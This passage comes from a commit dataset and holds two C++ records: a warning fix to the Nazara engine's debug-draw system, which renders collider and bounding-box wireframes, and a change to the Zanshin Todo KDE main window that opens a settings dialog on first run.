DebugDrawOrder = 1'000;\n\n\t\tDebugComponent& entityDebug = entity->GetComponent<DebugComponent>();\n\t\tGraphicsComponent& entityGfx = entity->GetComponent<GraphicsComponent>();\n\n\t\tDebugDrawFlags enabledFlags = entityDebug.GetEnabledFlags();\n\t\tDebugDrawFlags flags = entityDebug.GetFlags();\n\n\t\tDebugDrawFlags flagsToEnable = flags & ~enabledFlags;\n\t\tfor (std::size_t i = 0; i <= static_cast<std::size_t>(DebugDraw::Max); ++i)\n\t\t{\n\t\t\tDebugDraw option = static_cast<DebugDraw>(i);\n\t\t\tif (flagsToEnable & option)\n\t\t\t{\n\t\t\t\tswitch (option)\n\t\t\t\t{\n\t\t\t\t\tcase DebugDraw::Collider3D:\n\t\t\t\t\t{\n\t\t\t\t\t\tconst Nz::Boxf& obb = entityGfx.GetBoundingVolume().obb.localBox;\n\n\t\t\t\t\t\tNz::InstancedRenderableRef renderable = GenerateCollision3DMesh(entity);\n\t\t\t\t\t\trenderable->SetPersistent(false);\n\n\t\t\t\t\t\tentityGfx.Attach(renderable, Nz::Matrix4f::Translate(obb.GetCenter()), DebugDrawOrder);\n\n\t\t\t\t\t\tentityDebug.UpdateDebugRenderable(option, std::move(renderable));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tcase DebugDraw::GraphicsAABB:\n\t\t\t\t\t{\n\t\t\t\t\t\tauto indexVertexBuffers = GetBoxMesh();\n\n\t\t\t\t\t\tNz::InstancedRenderableRef renderable = new AABBDebugRenderable(entity, GetAABBMaterial(), indexVertexBuffers.first, indexVertexBuffers.second);\n\t\t\t\t\t\trenderable->SetPersistent(false);\n\n\t\t\t\t\t\tentityGfx.Attach(renderable, Nz::Matrix4f::Identity(), DebugDrawOrder);\n\n\t\t\t\t\t\tentityDebug.UpdateDebugRenderable(option, std::move(renderable));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tcase DebugDraw::GraphicsOBB:\n\t\t\t\t\t{\n\t\t\t\t\t\tauto indexVertexBuffers = GetBoxMesh();\n\n\t\t\t\t\t\tNz::InstancedRenderableRef renderable = new OBBDebugRenderable(entity, GetOBBMaterial(), indexVertexBuffers.first, indexVertexBuffers.second);\n\t\t\t\t\t\trenderable->SetPersistent(false);\n\n\t\t\t\t\t\tentityGfx.Attach(renderable, Nz::Matrix4f::Identity(), DebugDrawOrder);\n\n\t\t\t\t\t\tentityDebug.UpdateDebugRenderable(option, std::move(renderable));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tDebugDrawFlags flagsToDisable = enabledFlags & ~flags;\n\t\tfor (std::size_t i = 0; i <= static_cast<std::size_t>(DebugDraw::Max); ++i)\n\t\t{\n\t\t\tDebugDraw option = static_cast<DebugDraw>(i);\n\t\t\tif (flagsToDisable & option)\n\t\t\t\tentityGfx.Detach(entityDebug.GetDebugRenderable(option));\n\t\t}\n\n\t\tentityDebug.UpdateEnabledFlags(flags);\n\t}\n\n\tvoid DebugSystem::OnUpdate(float elapsedTime)\n\t{\n\t\t\/\/ Nothing to do\n\t}\n\n\tNz::InstancedRenderableRef DebugSystem::GenerateBox(Nz::Boxf box)\n\t{\n\t\tNz::MeshRef mesh = Nz::Mesh::New();\n\t\tmesh->CreateStatic();\n\n\t\tmesh->BuildSubMesh(Nz::Primitive::Box(box.GetLengths()));\n\t\tmesh->SetMaterialCount(1);\n\n\t\tNz::ModelRef model = Nz::Model::New();\n\t\tmodel->SetMesh(mesh);\n\t\tmodel->SetMaterial(0, GetOBBMaterial());\n\n\t\treturn model;\n\t}\n\n\tNz::InstancedRenderableRef DebugSystem::GenerateCollision3DMesh(Entity* entity)\n\t{\n\t\tif (entity->HasComponent<CollisionComponent3D>())\n\t\t{\n\t\t\tCollisionComponent3D& entityCollision = entity->GetComponent<CollisionComponent3D>();\n\t\t\tconst Nz::Collider3DRef& geom = entityCollision.GetGeom();\n\n\t\t\tstd::vector<Nz::Vector3f> vertices;\n\t\t\tstd::vector<std::size_t> indices;\n\n\t\t\tgeom->ForEachPolygon([&](const float* polygonVertices, std::size_t vertexCount)\n\t\t\t{\n\t\t\t\tstd::size_t firstIndex = vertices.size();\n\n\t\t\t\tfor (std::size_t i = 0; i < vertexCount; ++i)\n\t\t\t\t{\n\t\t\t\t\tconst float* vertexData = &polygonVertices[i * 3];\n\t\t\t\t\tvertices.emplace_back(vertexData[0], vertexData[1], vertexData[2]);\n\t\t\t\t}\n\n\t\t\t\tfor (std::size_t i = 0; i < vertexCount - 1; ++i)\n\t\t\t\t{\n\t\t\t\t\tindices.push_back(firstIndex + i);\n\t\t\t\t\tindices.push_back(firstIndex + i + 1);\n\t\t\t\t}\n\n\t\t\t\tindices.push_back(firstIndex + vertexCount - 1);\n\t\t\t\tindices.push_back(firstIndex);\n\t\t\t});\n\n\t\t\tNz::IndexBufferRef indexBuffer = Nz::IndexBuffer::New(vertices.size() > 0xFFFF, indices.size(), Nz::DataStorage_Hardware, 0);\n\t\t\tNz::IndexMapper indexMapper(indexBuffer, Nz::BufferAccess_WriteOnly);\n\n\t\t\tNz::IndexIterator indexPtr = indexMapper.begin();\n\t\t\tfor (std::size_t index : indices)\n\t\t\t\t*indexPtr++ = static_cast<Nz::UInt32>(index);\n\n\t\t\tindexMapper.Unmap();\n\n\t\t\tNz::VertexBufferRef vertexBuffer = Nz::VertexBuffer::New(Nz::VertexDeclaration::Get(Nz::VertexLayout_XYZ), vertices.size(), Nz::DataStorage_Hardware, 0);\n\t\t\tvertexBuffer->Fill(vertices.data(), 0, vertices.size());\n\n\t\t\tNz::MeshRef mesh = Nz::Mesh::New();\n\t\t\tmesh->CreateStatic();\n\n\t\t\tNz::StaticMeshRef subMesh = Nz::StaticMesh::New(mesh);\n\t\t\tsubMesh->Create(vertexBuffer);\n\t\t\tsubMesh->SetIndexBuffer(indexBuffer);\n\t\t\tsubMesh->SetPrimitiveMode(Nz::PrimitiveMode_LineList);\n\t\t\tsubMesh->SetMaterialIndex(0);\n\t\t\tsubMesh->GenerateAABB();\n\n\t\t\tmesh->SetMaterialCount(1);\n\t\t\tmesh->AddSubMesh(subMesh);\n\n\t\t\tNz::ModelRef model = Nz::Model::New();\n\t\t\tmodel->SetMesh(mesh);\n\t\t\tmodel->SetMaterial(0, GetCollisionMaterial());\n\n\t\t\treturn model;\n\t\t}\n\t\telse\n\t\t\treturn nullptr;\n\t}\n\n\tNz::MaterialRef DebugSystem::GetAABBMaterial()\n\t{\n\t\tif (!m_aabbMaterial)\n\t\t{\n\t\t\tm_aabbMaterial = Nz::Material::New();\n\t\t\tm_aabbMaterial->EnableFaceCulling(false);\n\t\t\tm_aabbMaterial->EnableDepthBuffer(true);\n\t\t\tm_aabbMaterial->SetDiffuseColor(Nz::Color::Red);\n\t\t\tm_aabbMaterial->SetFaceFilling(Nz::FaceFilling_Line);\n\t\t}\n\n\t\treturn m_aabbMaterial;\n\t}\n\n\tNz::MaterialRef DebugSystem::GetCollisionMaterial()\n\t{\n\t\tif (!m_collisionMaterial)\n\t\t{\n\t\t\tm_collisionMaterial = Nz::Material::New();\n\t\t\tm_collisionMaterial->EnableFaceCulling(false);\n\t\t\tm_collisionMaterial->EnableDepthBuffer(true);\n\t\t\tm_collisionMaterial->SetDiffuseColor(Nz::Color::Blue);\n\t\t\tm_collisionMaterial->SetFaceFilling(Nz::FaceFilling_Line);\n\t\t}\n\n\t\treturn m_collisionMaterial;\n\t}\n\n\tNz::MaterialRef DebugSystem::GetOBBMaterial()\n\t{\n\t\tif (!m_obbMaterial)\n\t\t{\n\t\t\tm_obbMaterial = Nz::Material::New();\n\t\t\tm_obbMaterial->EnableFaceCulling(false);\n\t\t\tm_obbMaterial->EnableDepthBuffer(true);\n\t\t\tm_obbMaterial->SetDiffuseColor(Nz::Color::Green);\n\t\t\tm_obbMaterial->SetFaceFilling(Nz::FaceFilling_Line);\n\t\t}\n\n\t\treturn m_obbMaterial;\n\t}\n\n\tSystemIndex DebugSystem::systemIndex;\n}\n<commit_msg>Sdk\/DebugSystem: Fix some warnings<commit_after>\/\/ Copyright (C) 2017 Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Development Kit\"\n\/\/ For conditions of distribution and use, see copyright notice in Prerequisites.hpp\n\n#include <NDK\/Systems\/DebugSystem.hpp>\n#include <Nazara\/Core\/Primitive.hpp>\n#include <Nazara\/Graphics\/Model.hpp>\n#include <Nazara\/Utility\/IndexIterator.hpp>\n#include <Nazara\/Utility\/Mesh.hpp>\n#include <Nazara\/Utility\/StaticMesh.hpp>\n#include <NDK\/Components\/CollisionComponent3D.hpp>\n#include <NDK\/Components\/DebugComponent.hpp>\n#include <NDK\/Components\/GraphicsComponent.hpp>\n#include <NDK\/Components\/NodeComponent.hpp>\n\nnamespace Ndk\n{\n\tnamespace\n\t{\n\t\tclass DebugRenderable : public Nz::InstancedRenderable\n\t\t{\n\t\t\tpublic:\n\t\t\t\tDebugRenderable(Ndk::Entity* owner, Nz::MaterialRef mat, Nz::IndexBufferRef indexBuffer, Nz::VertexBufferRef vertexBuffer) :\n\t\t\t\tm_entityOwner(owner),\n\t\t\t\tm_material(std::move(mat)),\n\t\t\t\tm_indexBuffer(std::move(indexBuffer)),\n\t\t\t\tm_vertexBuffer(std::move(vertexBuffer))\n\t\t\t\t{\n\t\t\t\t\tResetMaterials(1);\n\n\t\t\t\t\tm_meshData.indexBuffer = m_indexBuffer;\n\t\t\t\t\tm_meshData.primitiveMode = Nz::PrimitiveMode_LineList;\n\t\t\t\t\tm_meshData.vertexBuffer = m_vertexBuffer;\n\t\t\t\t}\n\n\t\t\t\tvoid UpdateBoundingVolume(InstanceData* instanceData) const override\n\t\t\t\t{\n\t\t\t\t}\n\n\t\t\t\tvoid MakeBoundingVolume() const override\n\t\t\t\t{\n\t\t\t\t\tm_boundingVolume.MakeNull();\n\t\t\t\t}\n\n\t\t\tprotected:\n\t\t\t\tNdk::EntityHandle m_entityOwner;\n\t\t\t\tNz::IndexBufferRef m_indexBuffer;\n\t\t\t\tNz::MaterialRef m_material;\n\t\t\t\tNz::MeshData m_meshData;\n\t\t\t\tNz::VertexBufferRef m_vertexBuffer;\n\t\t};\n\n\t\tclass AABBDebugRenderable : public DebugRenderable\n\t\t{\n\t\t\tpublic:\n\t\t\t\tusing DebugRenderable::DebugRenderable;\n\n\t\t\t\tvoid AddToRenderQueue(Nz::AbstractRenderQueue* renderQueue, const InstanceData& instanceData, const Nz::Recti& scissorRect) const override\n\t\t\t\t{\n\t\t\t\t\tNazaraAssert(m_entityOwner, \"DebugRenderable has no owner\");\n\n\t\t\t\t\tconst DebugComponent& entityDebug = m_entityOwner->GetComponent<DebugComponent>();\n\t\t\t\t\tconst GraphicsComponent& entityGfx = m_entityOwner->GetComponent<GraphicsComponent>();\n\n\t\t\t\t\tNz::Matrix4f transformMatrix = Nz::Matrix4f::Identity();\n\t\t\t\t\ttransformMatrix.SetScale(entityGfx.GetBoundingVolume().aabb.GetLengths());\n\t\t\t\t\ttransformMatrix.SetTranslation(entityGfx.GetBoundingVolume().aabb.GetCenter());\n\n\t\t\t\t\trenderQueue->AddMesh(0, m_material, m_meshData, Nz::Boxf::Zero(), transformMatrix, scissorRect);\n\t\t\t\t}\n\t\t};\n\n\t\tclass OBBDebugRenderable : public DebugRenderable\n\t\t{\n\t\t\tpublic:\n\t\t\t\tusing DebugRenderable::DebugRenderable;\n\n\t\t\t\tvoid AddToRenderQueue(Nz::AbstractRenderQueue* renderQueue, const InstanceData& instanceData, const Nz::Recti& scissorRect) const override\n\t\t\t\t{\n\t\t\t\t\tNazaraAssert(m_entityOwner, \"DebugRenderable has no owner\");\n\n\t\t\t\t\tconst DebugComponent& entityDebug = m_entityOwner->GetComponent<DebugComponent>();\n\t\t\t\t\tconst GraphicsComponent& entityGfx = m_entityOwner->GetComponent<GraphicsComponent>();\n\n\t\t\t\t\tNz::Matrix4f transformMatrix = instanceData.transformMatrix;\n\t\t\t\t\ttransformMatrix.ApplyScale(entityGfx.GetBoundingVolume().obb.localBox.GetLengths());\n\n\t\t\t\t\trenderQueue->AddMesh(0, m_material, m_meshData, Nz::Boxf::Zero(), transformMatrix, scissorRect);\n\t\t\t\t}\n\t\t};\n\t}\n\n\t\/*!\n\t* \\ingroup NDK\n\t* \\class Ndk::DebugSystem\n\t* \\brief NDK class that represents the debug system\n\t*\n\t* \\remark This system is enabled if the entity owns the trait: DebugComponent and GraphicsComponent\n\t*\/\n\n\t\/*!\n\t* \\brief Constructs an DebugSystem object by default\n\t*\/\n\tDebugSystem::DebugSystem()\n\t{\n\t\tRequires<DebugComponent, GraphicsComponent>();\n\t\tSetUpdateOrder(1000); \/\/< Update last\n\t}\n\n\tstd::pair<Nz::IndexBufferRef, Nz::VertexBufferRef> DebugSystem::GetBoxMesh()\n\t{\n\t\tif (!m_boxMeshIndexBuffer)\n\t\t{\n\t\t\tstd::array<Nz::UInt16, 24> indices = {\n\t\t\t\t{\n\t\t\t\t\t0, 1,\n\t\t\t\t\t1, 2,\n\t\t\t\t\t2, 3,\n\t\t\t\t\t3, 0,\n\n\t\t\t\t\t4, 5,\n\t\t\t\t\t5, 6,\n\t\t\t\t\t6, 7,\n\t\t\t\t\t7, 4,\n\n\t\t\t\t\t0, 4,\n\t\t\t\t\t1, 5,\n\t\t\t\t\t2, 6,\n\t\t\t\t\t3, 7\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tm_boxMeshIndexBuffer = Nz::IndexBuffer::New(false, Nz::UInt32(indices.size()), Nz::DataStorage_Hardware, 0);\n\t\t\tm_boxMeshIndexBuffer->Fill(indices.data(), 0, Nz::UInt32(indices.size()));\n\t\t}\n\n\t\tif (!m_boxMeshVertexBuffer)\n\t\t{\n\t\t\tNz::Boxf box(-0.5f, -0.5f, -0.5f, 1.f, 1.f, 1.f);\n\n\t\t\tstd::array<Nz::Vector3f, 8> positions = {\n\t\t\t\t{\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_FarLeftBottom),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_NearLeftBottom),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_NearRightBottom),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_FarRightBottom),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_FarLeftTop),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_NearLeftTop),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_NearRightTop),\n\t\t\t\t\tbox.GetCorner(Nz::BoxCorner_FarRightTop)\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tm_boxMeshVertexBuffer = Nz::VertexBuffer::New(Nz::VertexDeclaration::Get(Nz::VertexLayout_XYZ), Nz::UInt32(positions.size()), Nz::DataStorage_Hardware, 0);\n\t\t\tm_boxMeshVertexBuffer->Fill(positions.data(), 0, Nz::UInt32(positions.size()));\n\t\t}\n\n\t\treturn { m_boxMeshIndexBuffer, m_boxMeshVertexBuffer };\n\t}\n\n\tvoid DebugSystem::OnEntityValidation(Entity* entity, bool \/*justAdded*\/)\n\t{\n\t\tstatic constexpr int DebugDrawOrder = 1'000;\n\n\t\tDebugComponent& entityDebug = entity->GetComponent<DebugComponent>();\n\t\tGraphicsComponent& entityGfx = entity->GetComponent<GraphicsComponent>();\n\n\t\tDebugDrawFlags enabledFlags = entityDebug.GetEnabledFlags();\n\t\tDebugDrawFlags flags = entityDebug.GetFlags();\n\n\t\tDebugDrawFlags flagsToEnable = flags & ~enabledFlags;\n\t\tfor (std::size_t i = 0; i <= static_cast<std::size_t>(DebugDraw::Max); ++i)\n\t\t{\n\t\t\tDebugDraw option = static_cast<DebugDraw>(i);\n\t\t\tif (flagsToEnable & option)\n\t\t\t{\n\t\t\t\tswitch (option)\n\t\t\t\t{\n\t\t\t\t\tcase DebugDraw::Collider3D:\n\t\t\t\t\t{\n\t\t\t\t\t\tconst Nz::Boxf& obb = entityGfx.GetBoundingVolume().obb.localBox;\n\n\t\t\t\t\t\tNz::InstancedRenderableRef renderable = GenerateCollision3DMesh(entity);\n\t\t\t\t\t\trenderable->SetPersistent(false);\n\n\t\t\t\t\t\tentityGfx.Attach(renderable, Nz::Matrix4f::Translate(obb.GetCenter()), DebugDrawOrder);\n\n\t\t\t\t\t\tentityDebug.UpdateDebugRenderable(option, std::move(renderable));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tcase DebugDraw::GraphicsAABB:\n\t\t\t\t\t{\n\t\t\t\t\t\tauto indexVertexBuffers = GetBoxMesh();\n\n\t\t\t\t\t\tNz::InstancedRenderableRef renderable = new AABBDebugRenderable(entity, GetAABBMaterial(), indexVertexBuffers.first, indexVertexBuffers.second);\n\t\t\t\t\t\trenderable->SetPersistent(false);\n\n\t\t\t\t\t\tentityGfx.Attach(renderable, Nz::Matrix4f::Identity(), DebugDrawOrder);\n\n\t\t\t\t\t\tentityDebug.UpdateDebugRenderable(option, std::move(renderable));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tcase DebugDraw::GraphicsOBB:\n\t\t\t\t\t{\n\t\t\t\t\t\tauto indexVertexBuffers = GetBoxMesh();\n\n\t\t\t\t\t\tNz::InstancedRenderableRef renderable = new OBBDebugRenderable(entity, GetOBBMaterial(), indexVertexBuffers.first, indexVertexBuffers.second);\n\t\t\t\t\t\trenderable->SetPersistent(false);\n\n\t\t\t\t\t\tentityGfx.Attach(renderable, Nz::Matrix4f::Identity(), DebugDrawOrder);\n\n\t\t\t\t\t\tentityDebug.UpdateDebugRenderable(option, std::move(renderable));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tDebugDrawFlags flagsToDisable = enabledFlags & ~flags;\n\t\tfor (std::size_t i = 0; i <= static_cast<std::size_t>(DebugDraw::Max); ++i)\n\t\t{\n\t\t\tDebugDraw option = static_cast<DebugDraw>(i);\n\t\t\tif (flagsToDisable & option)\n\t\t\t\tentityGfx.Detach(entityDebug.GetDebugRenderable(option));\n\t\t}\n\n\t\tentityDebug.UpdateEnabledFlags(flags);\n\t}\n\n\tvoid DebugSystem::OnUpdate(float elapsedTime)\n\t{\n\t\t\/\/ Nothing to do\n\t}\n\n\tNz::InstancedRenderableRef DebugSystem::GenerateBox(Nz::Boxf box)\n\t{\n\t\tNz::MeshRef mesh = Nz::Mesh::New();\n\t\tmesh->CreateStatic();\n\n\t\tmesh->BuildSubMesh(Nz::Primitive::Box(box.GetLengths()));\n\t\tmesh->SetMaterialCount(1);\n\n\t\tNz::ModelRef model = Nz::Model::New();\n\t\tmodel->SetMesh(mesh);\n\t\tmodel->SetMaterial(0, GetOBBMaterial());\n\n\t\treturn model;\n\t}\n\n\tNz::InstancedRenderableRef DebugSystem::GenerateCollision3DMesh(Entity* entity)\n\t{\n\t\tif (entity->HasComponent<CollisionComponent3D>())\n\t\t{\n\t\t\tCollisionComponent3D& entityCollision = entity->GetComponent<CollisionComponent3D>();\n\t\t\tconst Nz::Collider3DRef& geom = entityCollision.GetGeom();\n\n\t\t\tstd::vector<Nz::Vector3f> vertices;\n\t\t\tstd::vector<std::size_t> indices;\n\n\t\t\tgeom->ForEachPolygon([&](const float* polygonVertices, std::size_t vertexCount)\n\t\t\t{\n\t\t\t\tstd::size_t firstIndex = vertices.size();\n\n\t\t\t\tfor (std::size_t i = 0; i < vertexCount; ++i)\n\t\t\t\t{\n\t\t\t\t\tconst float* vertexData = &polygonVertices[i * 3];\n\t\t\t\t\tvertices.emplace_back(vertexData[0], vertexData[1], vertexData[2]);\n\t\t\t\t}\n\n\t\t\t\tfor (std::size_t i = 0; i < vertexCount - 1; ++i)\n\t\t\t\t{\n\t\t\t\t\tindices.push_back(firstIndex + i);\n\t\t\t\t\tindices.push_back(firstIndex + i + 1);\n\t\t\t\t}\n\n\t\t\t\tindices.push_back(firstIndex + vertexCount - 1);\n\t\t\t\tindices.push_back(firstIndex);\n\t\t\t});\n\n\t\t\tNz::IndexBufferRef indexBuffer = Nz::IndexBuffer::New(vertices.size() > 0xFFFF, Nz::UInt32(indices.size()), Nz::DataStorage_Hardware, 0);\n\t\t\tNz::IndexMapper indexMapper(indexBuffer, Nz::BufferAccess_WriteOnly);\n\n\t\t\tNz::IndexIterator indexPtr = indexMapper.begin();\n\t\t\tfor (std::size_t index : indices)\n\t\t\t\t*indexPtr++ = static_cast<Nz::UInt32>(index);\n\n\t\t\tindexMapper.Unmap();\n\n\t\t\tNz::VertexBufferRef vertexBuffer = Nz::VertexBuffer::New(Nz::VertexDeclaration::Get(Nz::VertexLayout_XYZ), Nz::UInt32(vertices.size()), Nz::DataStorage_Hardware, 0);\n\t\t\tvertexBuffer->Fill(vertices.data(), 0, Nz::UInt32(vertices.size()));\n\n\t\t\tNz::MeshRef mesh = Nz::Mesh::New();\n\t\t\tmesh->CreateStatic();\n\n\t\t\tNz::StaticMeshRef subMesh = Nz::StaticMesh::New(mesh);\n\t\t\tsubMesh->Create(vertexBuffer);\n\t\t\tsubMesh->SetIndexBuffer(indexBuffer);\n\t\t\tsubMesh->SetPrimitiveMode(Nz::PrimitiveMode_LineList);\n\t\t\tsubMesh->SetMaterialIndex(0);\n\t\t\tsubMesh->GenerateAABB();\n\n\t\t\tmesh->SetMaterialCount(1);\n\t\t\tmesh->AddSubMesh(subMesh);\n\n\t\t\tNz::ModelRef model = Nz::Model::New();\n\t\t\tmodel->SetMesh(mesh);\n\t\t\tmodel->SetMaterial(0, GetCollisionMaterial());\n\n\t\t\treturn model;\n\t\t}\n\t\telse\n\t\t\treturn nullptr;\n\t}\n\n\tNz::MaterialRef DebugSystem::GetAABBMaterial()\n\t{\n\t\tif (!m_aabbMaterial)\n\t\t{\n\t\t\tm_aabbMaterial = Nz::Material::New();\n\t\t\tm_aabbMaterial->EnableFaceCulling(false);\n\t\t\tm_aabbMaterial->EnableDepthBuffer(true);\n\t\t\tm_aabbMaterial->SetDiffuseColor(Nz::Color::Red);\n\t\t\tm_aabbMaterial->SetFaceFilling(Nz::FaceFilling_Line);\n\t\t}\n\n\t\treturn m_aabbMaterial;\n\t}\n\n\tNz::MaterialRef DebugSystem::GetCollisionMaterial()\n\t{\n\t\tif (!m_collisionMaterial)\n\t\t{\n\t\t\tm_collisionMaterial = Nz::Material::New();\n\t\t\tm_collisionMaterial->EnableFaceCulling(false);\n\t\t\tm_collisionMaterial->EnableDepthBuffer(true);\n\t\t\tm_collisionMaterial->SetDiffuseColor(Nz::Color::Blue);\n\t\t\tm_collisionMaterial->SetFaceFilling(Nz::FaceFilling_Line);\n\t\t}\n\n\t\treturn m_collisionMaterial;\n\t}\n\n\tNz::MaterialRef DebugSystem::GetOBBMaterial()\n\t{\n\t\tif (!m_obbMaterial)\n\t\t{\n\t\t\tm_obbMaterial = Nz::Material::New();\n\t\t\tm_obbMaterial->EnableFaceCulling(false);\n\t\t\tm_obbMaterial->EnableDepthBuffer(true);\n\t\t\tm_obbMaterial->SetDiffuseColor(Nz::Color::Green);\n\t\t\tm_obbMaterial->SetFaceFilling(Nz::FaceFilling_Line);\n\t\t}\n\n\t\treturn m_obbMaterial;\n\t}\n\n\tSystemIndex DebugSystem::systemIndex;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of Zanshin Todo.\n\n Copyright 2008-2010 Kevin Ottens <ervin@kde.org>\n Copyright 2008,2009 Mario Bensi <nef@ipsquad.net>\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License as\n published by the Free Software Foundation; either version 2 of\n the License or (at your option) version 3 or any later version\n accepted by the membership of KDE e.V. (or its successor approved\n by the membership of KDE e.V.), which shall act as a proxy\n defined in Section 14 of version 3 of the license.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n USA.\n*\/\n\n#include \"mainwindow.h\"\n\n#include <KDE\/KAction>\n#include <KDE\/KActionCollection>\n#include <KDE\/KConfigGroup>\n#include <KDE\/KIcon>\n#include <KDE\/KLocale>\n#include <KDE\/KMenuBar>\n\n#include <QtGui\/QDockWidget>\n#include <QtGui\/QHeaderView>\n\n#include \"actionlisteditor.h\"\n#include \"configdialog.h\"\n#include \"globaldefs.h\"\n#include \"sidebar.h\"\n\nMainWindow::MainWindow(ModelStack *models, QWidget *parent)\n : KXmlGuiWindow(parent)\n{\n setupSideBar(models);\n setupCentralWidget(models);\n setupActions();\n\n setupGUI(ToolBar | Keys | Save | Create);\n\n restoreColumnsState();\n\n actionCollection()->action(\"project_mode\")->trigger();\n}\n\nvoid MainWindow::setupCentralWidget(ModelStack *models)\n{\n m_editor = new ActionListEditor(models,\n m_sidebar->projectSelection(),\n m_sidebar->categoriesSelection(),\n actionCollection(),\n this);\n setCentralWidget(m_editor);\n}\n\nvoid MainWindow::setupSideBar(ModelStack *models)\n{\n m_sidebar = new SideBar(models, actionCollection(), this);\n\n QDockWidget *dock = new QDockWidget(this);\n dock->setObjectName(\"SideBar\");\n dock->setFeatures(dock->features() & ~QDockWidget::DockWidgetClosable);\n dock->setWidget(m_sidebar);\n addDockWidget(Qt::LeftDockWidgetArea, dock);\n}\n\nvoid MainWindow::setupActions()\n{\n KActionCollection *ac = actionCollection();\n\n KAction *action = ac->addAction(KStandardAction::ShowMenubar);\n connect(action, SIGNAL(toggled(bool)),\n menuBar(), SLOT(setVisible(bool)));\n\n QActionGroup *modeGroup = new QActionGroup(this);\n modeGroup->setExclusive(true);\n\n action = ac->addAction(\"project_mode\", this, SLOT(onModeSwitch()));\n action->setText(i18n(\"Project View\"));\n action->setIcon(KIcon(\"view-pim-tasks\"));\n action->setShortcut(Qt::CTRL | Qt::Key_P);\n action->setCheckable(true);\n action->setData(Zanshin::ProjectMode);\n modeGroup->addAction(action);\n\n action = ac->addAction(\"categories_mode\", this, SLOT(onModeSwitch()));\n action->setText(i18n(\"Categories View\"));\n action->setIcon(KIcon(\"view-pim-notes\"));\n action->setShortcut(Qt::CTRL | Qt::Key_O);\n action->setCheckable(true);\n action->setData(Zanshin::CategoriesMode);\n modeGroup->addAction(action);\n\n ac->addAction(KStandardAction::Preferences, this, SLOT(showConfigDialog()));\n ac->addAction(KStandardAction::Quit, this, SLOT(close()));\n}\n\nvoid MainWindow::closeEvent(QCloseEvent *event)\n{\n saveColumnsState();\n KXmlGuiWindow::closeEvent(event);\n}\n\nvoid MainWindow::saveAutoSaveSettings()\n{\n saveColumnsState();\n KXmlGuiWindow::saveAutoSaveSettings();\n}\n\nvoid MainWindow::saveColumnsState()\n{\n KConfigGroup cg = autoSaveConfigGroup();\n m_editor->saveColumnsState(cg);\n}\n\nvoid MainWindow::restoreColumnsState()\n{\n KConfigGroup cg = autoSaveConfigGroup();\n m_editor->restoreColumnsState(cg);\n}\n\nvoid MainWindow::onModeSwitch()\n{\n KAction *action = static_cast<KAction*>(sender());\n m_editor->setMode((Zanshin::ApplicationMode)action->data().toInt());\n m_sidebar->setMode((Zanshin::ApplicationMode)action->data().toInt());\n}\n\nvoid MainWindow::showConfigDialog()\n{\n ConfigDialog dialog(this);\n dialog.exec();\n}\n<commit_msg>Bring up the settings dialog on first run<commit_after>\/* This file is part of Zanshin Todo.\n\n Copyright 2008-2010 Kevin Ottens <ervin@kde.org>\n Copyright 2008,2009 Mario Bensi <nef@ipsquad.net>\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License as\n published by the Free Software Foundation; either version 2 of\n the License or (at your option) version 3 or any later version\n accepted by the membership of KDE e.V. (or its successor approved\n by the membership of KDE e.V.), which shall act as a proxy\n defined in Section 14 of version 3 of the license.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n USA.\n*\/\n\n#include \"mainwindow.h\"\n\n#include <KDE\/KAction>\n#include <KDE\/KActionCollection>\n#include <KDE\/KConfigGroup>\n#include <KDE\/KIcon>\n#include <KDE\/KLocale>\n#include <KDE\/KMenuBar>\n\n#include <QtCore\/QTimer>\n#include <QtGui\/QDockWidget>\n#include <QtGui\/QHeaderView>\n\n#include \"actionlisteditor.h\"\n#include \"configdialog.h\"\n#include \"globaldefs.h\"\n#include \"sidebar.h\"\n\nMainWindow::MainWindow(ModelStack *models, QWidget *parent)\n : KXmlGuiWindow(parent)\n{\n setupSideBar(models);\n setupCentralWidget(models);\n setupActions();\n\n setupGUI(ToolBar | Keys | Save | Create);\n\n restoreColumnsState();\n\n actionCollection()->action(\"project_mode\")->trigger();\n\n KConfigGroup config(KGlobal::config(), \"General\");\n if (config.readEntry(\"firstRun\", true)) {\n QTimer::singleShot(0, this, SLOT(showConfigDialog()));\n config.writeEntry(\"firstRun\", false);\n }\n}\n\nvoid MainWindow::setupCentralWidget(ModelStack *models)\n{\n m_editor = new ActionListEditor(models,\n m_sidebar->projectSelection(),\n m_sidebar->categoriesSelection(),\n actionCollection(),\n this);\n 